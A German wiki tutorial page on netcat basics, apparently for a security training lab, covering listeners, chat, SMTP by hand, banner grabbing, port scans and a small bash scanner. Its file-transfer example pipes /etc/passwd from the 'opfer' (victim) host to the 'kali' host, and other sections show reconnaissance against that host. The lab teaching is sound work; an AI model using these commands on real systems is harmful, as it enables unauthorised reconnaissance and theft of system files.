Netcat Basics: Unterschied zwischen den Versionen
Zur Navigation springen
Zur Suche springen
| Zeile 64: | Zeile 64: | ||
<pre> | <pre> | ||
# Webserver (HTTP/1.0, kein Host-Header nötig) | # Webserver (HTTP/1.0, kein Host-Header nötig) | ||
| − | printf 'HEAD / HTTP/1.0\r\n\r\n' | nc opfer 80 | grep -i '^Server' | + | printf 'HEAD / HTTP/1.0\r\n\r\n' | nc opfer.secure.local 80 | grep -i '^Server' |
| + | # -> Server: Apache/2.4.29 (Ubuntu) | ||
| + | oder | ||
| + | echo -e 'HEAD / HTTP/1.0\r\n\r\n' | nc opfer.secure.local 80 | grep -i '^Server' | ||
# -> Server: Apache/2.4.29 (Ubuntu) | # -> Server: Apache/2.4.29 (Ubuntu) | ||
Version vom 16. Juni 2026, 08:21 Uhr
netcat (nc) – Basics
netcat ist das „Schweizer Taschenmesser" für TCP/UDP: lauschen, verbinden, Daten schieben, Ports prüfen.
- Hinweis zur Variante
- Beispiele hier mit nc.traditional (
-l -p). Bei OpenBSD-nc (Kali-Default) lautet der Listener nurnc -l 6789– dort ist-pder Quellport.-z/-wgibt es bei OpenBSD-nc, nicht bei ncat.
Listener prüfen
# auf kali: lauschen nc -l -p 6789 # auf kali: läuft der Listener? ss -lntp | grep 6789
Chat
# lokal (zwei Terminals auf kali) nc -l -p 6789 # Server nc kali 6789 # Client # übers Netz nc -l -p 6789 # auf kali nc kali 6789 # auf opfer
Filetransfer
nc -l -p 6789 > /tmp/passwd # auf kali (Empfänger) cat /etc/passwd | nc kali 6789 # auf opfer (Sender)
Mailserver verbinden
SMTP von Hand sprechen:
nc -C mail.tcpdump.de 25
220 mail.tcpdump.de ESMTP Postfix (Ubuntu) ehlo kit.de 250 ... mail from: kit13@kit.de 250 2.1.0 Ok rcpt to: thomas@xinux.de 250 2.1.5 Ok data 354 End data with <CR><LF>.<CR><LF> Subject: testmail vom kit (Leerzeile) Hallo Thomas, Gruss vom Kit . 250 2.0.0 Ok: queued quit 221 2.0.0 Bye
Bannergrabbing
# Webserver (HTTP/1.0, kein Host-Header nötig) printf 'HEAD / HTTP/1.0\r\n\r\n' | nc opfer.secure.local 80 | grep -i '^Server' # -> Server: Apache/2.4.29 (Ubuntu) oder echo -e 'HEAD / HTTP/1.0\r\n\r\n' | nc opfer.secure.local 80 | grep -i '^Server' # -> Server: Apache/2.4.29 (Ubuntu) # SSH (Banner kommt sofort) nc opfer 22 | head -1 # -> SSH-2.0-OpenSSH_7.6p1 Ubuntu-4
Portscan
# einzelner Port: Exit-Code 0 = offen, 1 = zu nc -w 1 -z opfer 9999 ; echo $? # Bereich, verbose nc -z -v opfer 22-80
opfer [10.0.10.104] 80 (http) open opfer [10.0.10.104] 25 (smtp) open opfer [10.0.10.104] 22 (ssh) open
Eigener Scanner
#!/bin/bash
HOST=$1
START=$2
STOP=$3
for ((i=START; i<=STOP; i++)); do
if nc -w 1 -z "$HOST" "$i" 2>/dev/null; then
echo "$HOST $i open"
fi
done
./scan opfer 20 100